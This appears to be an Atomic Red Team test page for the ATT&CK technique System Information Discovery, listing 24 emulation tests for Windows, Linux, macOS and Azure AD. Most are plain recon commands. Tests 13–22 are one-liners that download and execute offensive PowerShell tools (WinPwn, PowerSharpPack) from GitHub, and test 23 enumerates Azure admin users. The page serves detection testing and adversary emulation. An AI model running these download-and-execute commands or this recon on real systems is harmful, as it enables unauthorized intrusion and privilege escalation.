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System Information Discovery

Description from ATT&CK

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)

Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)

Atomic Tests

Atomic Test #1 - System Information Discovery

Identify System Info. Upon execution, system info and time info will be displayed.

Supported Platforms: windows

auto_generated_guid: 66703791-c902-4560-8770-42b8a91f7667

Inputs:

None

Attack Commands: Run with command_prompt!

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systeminfo
reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum

Atomic Test #2 - System Information Discovery

Identify System Info

Supported Platforms: macos

auto_generated_guid: edff98ec-0f73-4f63-9890-6b117092aff6

Inputs:

None

Attack Commands: Run with sh!

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system_profiler
ls -al /Applications

Atomic Test #3 - List OS Information

Identify System Info

Supported Platforms: linux,macos

auto_generated_guid: cccb070c-df86-4216-a5bc-9fb60c74e27c

Inputs:

Name Description Type Default Value
output_file Output file used to store the results. Path /tmp/T1082.txt

Attack Commands: Run with sh!

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uname -a >> #{output_file}
if [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> #{output_file}; fi
if [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> #{output_file}; fi   
if [ -f /etc/issue ]; then cat /etc/issue >> #{output_file}; fi
uptime >> #{output_file}
cat #{output_file} 2>/dev/null

Cleanup Commands:

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rm #{output_file} 2>/dev/null

Atomic Test #4 - Linux VM Check via Hardware

Identify virtual machine hardware. This technique is used by the Pupy RAT and other malware.

Supported Platforms: linux

auto_generated_guid: 31dad7ad-2286-4c02-ae92-274418c85fec

Inputs:

None

Attack Commands: Run with bash!

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if [ -f /sys/class/dmi/id/bios_version ]; then cat /sys/class/dmi/id/bios_version | grep -i amazon; fi
if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/product_name | grep -i "Droplet\|HVM\|VirtualBox\|VMware"; fi
if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/chassis_vendor | grep -i "Xen\|Bochs\|QEMU"; fi
if [ -x "$(command -v dmidecode)" ]; then sudo dmidecode | grep -i "microsoft\|vmware\|virtualbox\|quemu\|domu"; fi
if [ -f /proc/scsi/scsi ]; then cat /proc/scsi/scsi | grep -i "vmware\|vbox"; fi
if [ -f /proc/ide/hd0/model ]; then cat /proc/ide/hd0/model | grep -i "vmware\|vbox\|qemu\|virtual"; fi
if [ -x "$(command -v lspci)" ]; then sudo lspci | grep -i "vmware\|virtualbox"; fi
if [ -x "$(command -v lscpu)" ]; then sudo lscpu | grep -i "Xen\|KVM\|Microsoft"; fi

Atomic Test #5 - Linux VM Check via Kernel Modules

Identify virtual machine guest kernel modules. This technique is used by the Pupy RAT and other malware.

Supported Platforms: linux

auto_generated_guid: 8057d484-0fae-49a4-8302-4812c4f1e64e

Inputs:

None

Attack Commands: Run with bash!

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sudo lsmod | grep -i "vboxsf\|vboxguest"
sudo lsmod | grep -i "vmw_baloon\|vmxnet"
sudo lsmod | grep -i "xen-vbd\|xen-vnif"
sudo lsmod | grep -i "virtio_pci\|virtio_net"
sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"

Atomic Test #6 - Hostname Discovery (Windows)

Identify system hostname for Windows. Upon execution, the hostname of the device will be displayed.

Supported Platforms: windows

auto_generated_guid: 85cfbf23-4a1e-4342-8792-007e004b975f

Inputs:

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Attack Commands: Run with command_prompt!

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hostname

Atomic Test #7 - Hostname Discovery

Identify system hostname for Linux and macOS systems.

Supported Platforms: linux,macos

auto_generated_guid: 486e88ea-4f56-470f-9b57-3f4d73f39133

Inputs:

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Attack Commands: Run with bash!

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hostname

Atomic Test #8 - Windows MachineGUID Discovery

Identify the Windows MachineGUID value for a system. Upon execution, the machine GUID will be displayed from registry.

Supported Platforms: windows

auto_generated_guid: 224b4daf-db44-404e-b6b2-f4d1f0126ef8

Inputs:

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Attack Commands: Run with command_prompt!

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REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid

Atomic Test #9 - Griffon Recon

This script emulates the reconnaissance script seen in used by Griffon and was modified by security researcher Kirk Sayre in order simply print the recon results to the screen as opposed to exfiltrating them. Script.
For more information see also https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon and https://attack.mitre.org/software/S0417/

Supported Platforms: windows

auto_generated_guid: 69bd4abe-8759-49a6-8d21-0f15822d6370

Inputs:

Name Description Type Default Value
vbscript Path to sample script String PathToAtomicsFolder\T1082\src\griffon_recon.vbs

Attack Commands: Run with powershell!

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cscript #{vbscript}

Dependencies: Run with powershell!

Description: Sample script file must exist on disk at specified location (#{vbscript})

Check Prereq Commands:

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if (Test-Path #{vbscript}) {exit 0} else {exit 1}

Get Prereq Commands:

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New-Item -Type Directory (split-path #{vbscript}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1082/src/griffon_recon.vbs" -OutFile "#{vbscript}"

Atomic Test #10 - Environment variables discovery on windows

Identify all environment variables. Upon execution, environments variables and your path info will be displayed.

Supported Platforms: windows

auto_generated_guid: f400d1c0-1804-4ff8-b069-ef5ddd2adbf3

Inputs:

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Attack Commands: Run with command_prompt!

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set

Atomic Test #11 - Environment variables discovery on macos and linux

Identify all environment variables. Upon execution, environments variables and your path info will be displayed.

Supported Platforms: macos,linux

auto_generated_guid: fcbdd43f-f4ad-42d5-98f3-0218097e2720

Inputs:

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Attack Commands: Run with sh!

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env

Atomic Test #12 - Show System Integrity Protection status (MacOS)

Read and Display System Intergrety Protection status. csrutil is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not.

Supported Platforms: macos

auto_generated_guid: 327cc050-9e99-4c8e-99b5-1d15f2fb6b96

Inputs:

None

Attack Commands: Run with sh!

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csrutil status

Atomic Test #13 - WinPwn - winPEAS

Discover Local Privilege Escalation possibilities using winPEAS function of WinPwn

Supported Platforms: windows

auto_generated_guid: eea1d918-825e-47dd-acc2-814d6c58c0e1

Inputs:

None

Attack Commands: Run with powershell!

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$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
winPEAS -noninteractive -consoleoutput

Atomic Test #14 - WinPwn - itm4nprivesc

Discover Local Privilege Escalation possibilities using itm4nprivesc function of WinPwn

Supported Platforms: windows

auto_generated_guid: 3d256a2f-5e57-4003-8eb6-64d91b1da7ce

Inputs:

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Attack Commands: Run with powershell!

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$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
itm4nprivesc -noninteractive -consoleoutput

Atomic Test #15 - WinPwn - Powersploits privesc checks

Powersploits privesc checks using oldchecks function of WinPwn

Supported Platforms: windows

auto_generated_guid: 345cb8e4-d2de-4011-a580-619cf5a9e2d7

Inputs:

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Attack Commands: Run with powershell!

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$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
oldchecks -noninteractive -consoleoutput

Cleanup Commands:

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rm -force -recurse .\DomainRecon -ErrorAction Ignore
rm -force -recurse .\Exploitation -ErrorAction Ignore
rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore
rm -force -recurse .\LocalRecon -ErrorAction Ignore
rm -force -recurse .\Vulnerabilities -ErrorAction Ignore

Atomic Test #16 - WinPwn - General privesc checks

General privesc checks using the otherchecks function of WinPwn

Supported Platforms: windows

auto_generated_guid: 5b6f39a2-6ec7-4783-a5fd-2c54a55409ed

Inputs:

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Attack Commands: Run with powershell!

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$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
otherchecks -noninteractive -consoleoutput

Atomic Test #17 - WinPwn - GeneralRecon

Collect general computer informations via GeneralRecon function of WinPwn

Supported Platforms: windows

auto_generated_guid: 7804659b-fdbf-4cf6-b06a-c03e758590e8

Inputs:

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Attack Commands: Run with powershell!

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$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Generalrecon -consoleoutput -noninteractive

Atomic Test #18 - WinPwn - Morerecon

Gathers local system information using the Morerecon function of WinPwn

Supported Platforms: windows

auto_generated_guid: 3278b2f6-f733-4875-9ef4-bfed34244f0a

Inputs:

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Attack Commands: Run with powershell!

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$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Morerecon -noninteractive -consoleoutput

Atomic Test #19 - WinPwn - RBCD-Check

Search for Resource-Based Constrained Delegation attack paths using RBCD-Check function of WinPwn

Supported Platforms: windows

auto_generated_guid: dec6a0d8-bcaf-4c22-9d48-2aee59fb692b

Inputs:

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Attack Commands: Run with powershell!

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$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
RBCD-Check -consoleoutput -noninteractive

Atomic Test #20 - WinPwn - PowerSharpPack - Watson searching for missing windows patches

PowerSharpPack - Watson searching for missing windows patches technique via function of WinPwn

Supported Platforms: windows

auto_generated_guid: 07b18a66-6304-47d2-bad0-ef421eb2e107

Inputs:

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Attack Commands: Run with powershell!

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iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1')
Invoke-watson

Atomic Test #21 - WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors

PowerSharpPack - Sharpup checking common Privesc vectors technique via function of WinPwn - Takes several minutes to complete.

Supported Platforms: windows

auto_generated_guid: efb79454-1101-4224-a4d0-30c9c8b29ffc

Inputs:

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Attack Commands: Run with powershell!

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iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')
Invoke-SharpUp -command "audit"

Atomic Test #22 - WinPwn - PowerSharpPack - Seatbelt

PowerSharpPack - Seatbelt technique via function of WinPwn.

Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.

Supported Platforms: windows

auto_generated_guid: 5c16ceb4-ba3a-43d7-b848-a13c1f216d95

Inputs:

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Attack Commands: Run with powershell!

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iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')
Invoke-Seatbelt -Command "-group=all"; pause

Atomic Test #23 - Azure Security Scan with SkyArk

Upon successful execution, this test will utilize a valid read-only Azure AD user's credentials to conduct a security scan and determine what users exist in a given tenant, as well as identify any admin users. Once the test is complete, a folder will be output to the temp directory that contains 3 csv files which provide info on the discovered users. See https://github.com/cyberark/SkyArk

Supported Platforms: azure-ad

auto_generated_guid: 26a18d3d-f8bc-486b-9a33-d6df5d78a594

Inputs:

Name Description Type Default Value
username Azure AD username String None
password Azure AD password String T1082Az

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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Import-Module $env:temp\AzureStealth.ps1 -force      
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-AzAccount -Credential $Credential
Connect-AzureAD -Credential $Credential
Scan-AzureAdmins -UseCurrentCred

Cleanup Commands:

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$resultstime = Get-Date -Format "yyyyMMdd"
$resultsfolder = ("Results-" + $resultstime)
remove-item $env:temp\$resultsfolder -recurse -force -erroraction silentlycontinue

Dependencies: Run with powershell!

Description: The SkyArk AzureStealth module must exist in $env:temp.

Check Prereq Commands:

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if (test-path $env:temp\AzureStealth.ps1){exit 0} else {exit 1}

Get Prereq Commands:

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invoke-webrequest "https://raw.githubusercontent.com/cyberark/SkyArk/3293ee145e95061a8980dd7b5da0030edc4da5c0/AzureStealth/AzureStealth.ps1" -outfile "$env:temp\AzureStealth.ps1"

Description: The AzureAD module must be installed.

Check Prereq Commands:

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try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

Get Prereq Commands:

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Install-Module -Name AzureAD -Force

Description: The Az module must be installed.

Check Prereq Commands:

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try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

Get Prereq Commands:

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Install-Module -Name Az -Force

Atomic Test #24 - Linux List Kernel Modules

Identify kernel modules installed. Upon successful execution stdout will display kernel modules installed on host.

Supported Platforms: linux

auto_generated_guid: 034fe21c-3186-49dd-8d5d-128b35f181c7

Inputs:

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Attack Commands: Run with sh!

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sudo lsmod
sudo kmod list

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